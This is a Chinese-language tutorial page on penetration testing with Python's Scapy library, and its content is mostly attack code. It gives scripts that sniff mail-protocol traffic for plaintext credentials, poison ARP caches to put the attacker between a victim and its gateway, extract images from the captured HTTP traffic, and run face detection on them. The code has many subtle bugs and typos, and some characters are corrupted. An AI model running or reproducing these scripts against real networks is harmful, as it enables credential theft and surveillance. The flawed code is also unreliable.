Python滲透測(cè)試入門(mén)之Scapy庫(kù)的使用詳解
Scapy 是一個(gè)用來(lái)解析底層網(wǎng)絡(luò)數(shù)據(jù)包的Python模塊和交互式程序,該程序?qū)Φ讓影幚磉M(jìn)行了抽象打包,使得對(duì)網(wǎng)絡(luò)數(shù)據(jù)包的處理非常簡(jiǎn)便。該類(lèi)庫(kù)可以在在網(wǎng)絡(luò)安全領(lǐng)域有非常廣泛用例,可用于漏洞利用開(kāi)發(fā)、數(shù)據(jù)泄露、網(wǎng)絡(luò)監(jiān)聽(tīng)、入侵檢測(cè)和流量的分析捕獲的。Scapy與數(shù)據(jù)可視化和報(bào)告生成集成,可以方便展示起結(jié)果和數(shù)據(jù)。
我們會(huì)先簡(jiǎn)單嘗試一下,用Scapy嗅探流量,從中竊取明文的郵箱身份憑證。然后對(duì)網(wǎng)絡(luò)中的攻擊目標(biāo)進(jìn)行ARP投毒,以此嗅探它們的網(wǎng)絡(luò)流量。最后,我們會(huì)演示如何借助Scapy的pcap數(shù)據(jù)處理能力,從嗅探到的HTTP流量中提取圖片,并運(yùn)用面部識(shí)別算法來(lái)判斷其是否為人像照片。
竊取郵箱身份憑證
Scapy提供了一個(gè)名字簡(jiǎn)明扼要的接口函數(shù)sniff,它的定義是這樣的:
sniff(filter = " ", iface = "any", prn = function, count = N)
filter參數(shù)允許你指定一個(gè)Berkeley數(shù)據(jù)包過(guò)濾器(Berkeley Packet Filter,BPF),用于過(guò)濾Scapy嗅探到的數(shù)據(jù)包,也可以將此參數(shù)留空,表示要嗅探所有的數(shù)據(jù)包。
iface參數(shù)用于指定嗅探器要嗅探的網(wǎng)卡,如果不設(shè)置的話,默認(rèn)會(huì)嗅探所有網(wǎng)卡。prn參數(shù)用于指定一個(gè)回調(diào)函數(shù),每當(dāng)遇到符合過(guò)濾條件的數(shù)據(jù)包時(shí),嗅探器就會(huì)將該數(shù)據(jù)包傳給這個(gè)回調(diào)函數(shù),這是該函數(shù)接受的唯一參數(shù)。count參數(shù)可以用來(lái)指定你想嗅探多少包,如果留空的話,Scapy就會(huì)一直嗅探下去。
mail_sniffer.py:
from scapy.all import sniff def packet_callback(packet): print(packet.show()) def main(): sniff(pro=packet_callback, count=1) if __name__ == '__main__': main()
在這個(gè)簡(jiǎn)單的嗅探器中,它只會(huì)嗅探郵箱協(xié)議相關(guān)的命令。
接下來(lái)我們將添加過(guò)濾器和回調(diào)函數(shù)代碼,有針對(duì)性地捕獲和郵箱賬號(hào)認(rèn)證相關(guān)的數(shù)據(jù)。
首先,我們將設(shè)置一個(gè)包過(guò)濾器,確保嗅探器只展示我們感興趣的包。我們會(huì)使用BPF語(yǔ)法(也被稱(chēng)為Wireshark風(fēng)格的語(yǔ)法)來(lái)編寫(xiě)過(guò)濾器。你可能會(huì)在tcpdump、Wireshark等工具中用到這種語(yǔ)法。先來(lái)講一下基本的BPF語(yǔ)法。在BPF語(yǔ)法中,可以使用三種類(lèi)型的信息:描述詞(比如一個(gè)具體的主機(jī)地址、網(wǎng)卡名稱(chēng)或端口號(hào))、數(shù)據(jù)流方向和通信協(xié)議,如圖所示。你可以根據(jù)自己想找的數(shù)據(jù),自由地添加或省略某個(gè)類(lèi)型、方向或協(xié)議。
我們先寫(xiě)一個(gè)BPF:
from scapy.all import sniff, TCP, IP #the packet callback def packet_callback(packet): if packet[TCP].payload: mypacket = str(packet[TCP].paylaod) if 'user' in mypacket.lower() or 'pass' in mypacket.lower(): print(f"[*] Destination: {packet[IP].dst}") print(f"[*] {str(packet[TCP].payload)}") def main(): #fire up the sniffer sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0) #監(jiān)聽(tīng)郵件協(xié)議常用端口 #新參數(shù)store,把它設(shè)為0以后,Scapy就不會(huì)將任何數(shù)據(jù)包保留在內(nèi)存里 if __name__ == '__main__': main()
ARP投毒攻擊
邏輯:欺騙目標(biāo)設(shè)備,使其相信我們是它的網(wǎng)關(guān);然后欺騙網(wǎng)關(guān),告訴它要發(fā)給目標(biāo)設(shè)備的所有流量必須交給我們轉(zhuǎn)發(fā)。網(wǎng)絡(luò)上的每一臺(tái)設(shè)備,都維護(hù)著一段ARP緩存,里面記錄著最近一段時(shí)間本地網(wǎng)絡(luò)上的MAC地址和IP地址的對(duì)應(yīng)關(guān)系。為了實(shí)現(xiàn)這一攻擊,我們會(huì)往這些ARP緩存中投毒,即在緩存中插入我們編造的記錄。
注意實(shí)驗(yàn)的目標(biāo)機(jī)為mac
arper.py:
from multiprocessing import Process from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap) import os import sys import time def get_mac(targetip): packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) resp, _= srp(packet, timeout=2, retry=10, verbose=False) for _, r in resp: return r[Ether].src return None class Arper: def __init__(self, victim, gateway, interface='en0'): self.victim = victim self.victimmac = get_mac(victim) self.gateway = gateway self.gatewaymac = get_mac(gateway) self.interface = interface conf.iface = interface conf.verb = 0 print(f'Initialized {interface}:') print(f'Gateway ({gateway}) is at {self.gateway}') print(f'Victim ({victim}) is at {self.gatewaymac}') print('_'*30) def run(self): self.poison_thread = Process(target=self.poison) self.poison_thread.start() self.sniff_thread = Process(target=self.sniff) self.sniff_thread.start() def poison(self): poison_victim = ARP() poison_victim.op = 2 poison_victim.psrc = self.gateway poison_victim.pdst = self.victim poison_victim.hwdst = self.victimmac print(f'ip src: {poison_victim.psrc}') print(f'ip dst: {poison_victim.pdst}') print(f'mac dst: {poison_victim.hwdst}') print(f'mac src: {poison_victim.hwsrc}') print(poison_victim.summary()) print('_'*30) poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = self,victim poison_gateway.pdst = self.gateway poison_gateway.hwdst = self.gatewaymac print(f'ip src: {poison_gateway.psrc}') print(f'ip dst: {poison_gateway.pdst}') print(f'mac dst: {poison_gateway.hwdst}') print(f'mac_src: {poison_gateway.hwsrc}') print(poison_gateway.summary()) print('_'*30) print(f'Beginning the ARP poison. [CTRL -C to stop]') while True: sys.stdout.write('.') sys.stdout.flush() try: send(poison_victim) send(poison_gateway) except KeyboardInterrupt: self.restore() sys.exit() else: time.sleep(2) def sniff(self, count=200): time.sleep(5) print(f'Sniffing {count} packets') bpf_filter = "ip host %s" % victim packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface) wrpcap('arper.pcap', packets) print('Got the packets') self.restore() self.poison_thread.terminate() print('Finished') def restore(self): print('Restoring ARP tables...') send(ARP( op=2, psrc=self.gateway, hwsrc=self.gatewaymac, pdst=self.victim, hwdst='ff:ff:ff:ff:ff:ff'), count=5) send(ARP( op=2, psrc=self.victim, hwsrc=self.victimmac, pdst=self.gateway, hwdst='ff:ff:ff:ff:ff:ff'), count=5) if __name__ == '__main__': (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3]) myarp = Arper(victim, gateway, interface) myarp.run()
pcap文件處理
recapper.py:
from scapy.all import TCP, rdpcap import collections import os import re import sys import zlib OUTDIR = '/root/Desktop/pictures' PCAPS = '/root/Downloads' Response = collections.namedtuple('Response', ['header','payload']) def get_header(payload): try: header_raw = payload[:payload.index(b'\r\n\r\n')+2] except ValueError: sys.stdout.write('_') sys.stdout.flush() return None header = dict(re.findall(r'?P<name>.*?): (?P<value>.*?)\r\n', header_raw.decode())) if 'Content-Type' not in header: return None return header def extract_content(Response, content_name='image'): content, content_type = None, None if content_name in Response.header['Content-Type']: content_type = Response.header['Content-Type'].split('/')[1] content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:] if 'Content-Encoding' in Response.header: if Response.header['Content-Encoding'] == "gzip": content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32) elif Response.header['Content-Encoding'] == "deflate": content = zlib.decompress(Response.payload) return content, content_type class Recapper: def __init__(self, fname): pcap = rdpcap(fname) self.session = pcap.session() self.responses = list() def get_responses(self): for session in self.session: payload = b'' for packet in self.session[session]: try: if packet[TCP].dport == 80 or packet[TCP].sport == 80: payload += bytes(packet[TCP].payload) except IndexError: sys.stdout.write('x') sys.stdout.flush() if payload: header = get_header(payload) if header is None: continue self.responses.append(Response(header=header, payload=payload)) def write(self, content_name): for i, response in enumerate(self.responses): content, content_type = extract_content(response, content_name) if content and content_type: fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}') print(f'Writing {fname}') with open(fname, 'wb') as f: f.write(content) if __name__ == '__main__': pfile = os.path.join(PCAPS, 'pcap.pcap') recapper = Recapper(pfile) recapper.get_responses() recapper.write('image')
如果我們得到了一張圖片,那么我們就要對(duì)這張圖片進(jìn)行分析,檢查每張圖片來(lái)確認(rèn)里面是否存在人臉。對(duì)每張含有人臉的圖片,我們會(huì)在人臉周?chē)?huà)一個(gè)方框,然后另存為一張新圖片。
detector.py:
import cv2 import os ROOT = '/root/Desktop/pictures' FACES = '/root/Desktop/faces' TRAIN = '/root/Desktop/training' def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN): for fname in os.listdir(srcdir): if not fname.upper().endswith('.JPG'): continue fullname = os.path.join(srcdir, fname) newname = os.path.join(tgtdir, fname) img = cv2.imread(fullname) if img is None: continue gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml') cascade = cv2.CascadeClassifier(training) rects = cascade.detectMultiScale(gray, 1.3,5) try: if rects.any(): print('Got a face') rects[:, 2:] += rects[:, :2] except AttributeError: print(f'No faces fount in {fname}') continue # highlight the faces in the image for x1, y1, x2, y2 in rects: cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2) cv2.imwrite(newname, img) if name == '__main__': detect()
到這里,我們的實(shí)驗(yàn)?zāi)繕?biāo)已經(jīng)完成。對(duì)于其中的腳本我們可以擴(kuò)展更多的內(nèi)容,請(qǐng)大家自行發(fā)揮。
以上就是Python滲透測(cè)試入門(mén)之Scapy庫(kù)的使用詳解的詳細(xì)內(nèi)容,更多關(guān)于Python Scapy庫(kù)的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
python 制作自定義包并安裝到系統(tǒng)目錄的方法
今天小編就為大家分享一篇python 制作自定義包并安裝到系統(tǒng)目錄的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-10-10WIndows10系統(tǒng)下面安裝Anaconda、Pycharm及Pytorch環(huán)境全過(guò)程(NVIDIA?GPU版本)
這篇文章主要給大家介紹了關(guān)于WIndows10系統(tǒng)下面安裝Anaconda、Pycharm及Pytorch環(huán)境(NVIDIA?GPU版本)的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2023-02-02python刪除文件夾下相同文件和無(wú)法打開(kāi)的圖片
這篇文章主要為大家詳細(xì)介紹了python刪除文件夾下相同文件和無(wú)法打開(kāi)的圖片,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2019-07-07關(guān)于sys.stdout和print的區(qū)別詳解
今天小編就為大家分享一篇關(guān)于sys.stdout和print的區(qū)別詳解,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2019-12-12使用python的pandas讀取excel文件中的數(shù)據(jù)詳情
這篇文章主要介紹了使用python的pandas讀取excel文件中的數(shù)據(jù)詳情,文章圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下2022-09-09tensorflow 實(shí)現(xiàn)數(shù)據(jù)類(lèi)型轉(zhuǎn)換
今天小編就為大家分享一篇tensorflow 實(shí)現(xiàn)數(shù)據(jù)類(lèi)型轉(zhuǎn)換,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2020-02-02使用Python快速實(shí)現(xiàn)文件共享并通過(guò)內(nèi)網(wǎng)穿透技術(shù)公網(wǎng)訪問(wèn)
數(shù)據(jù)共享作為和連接作為互聯(lián)網(wǎng)的基礎(chǔ)應(yīng)用,不僅在商業(yè)和辦公場(chǎng)景有廣泛的應(yīng)用,對(duì)于個(gè)人用戶(hù)也有很強(qiáng)的實(shí)用意義,今天,筆者就為大家介紹,如何使用python這樣的簡(jiǎn)單程序語(yǔ)言,在自己的電腦上搭建一個(gè)共享文件服務(wù)器,需要的朋友可以參考下2023-10-10Python+OpenCV實(shí)現(xiàn)表面缺陷檢測(cè)
對(duì)于現(xiàn)在很多工業(yè)檢測(cè),特別是對(duì)一些精密的器件進(jìn)行篩選,往往都是像素級(jí)別的,十分的精確。本文將利用OpenCV+Python實(shí)現(xiàn)表面缺陷檢測(cè),感興趣的可以了解一下2022-08-08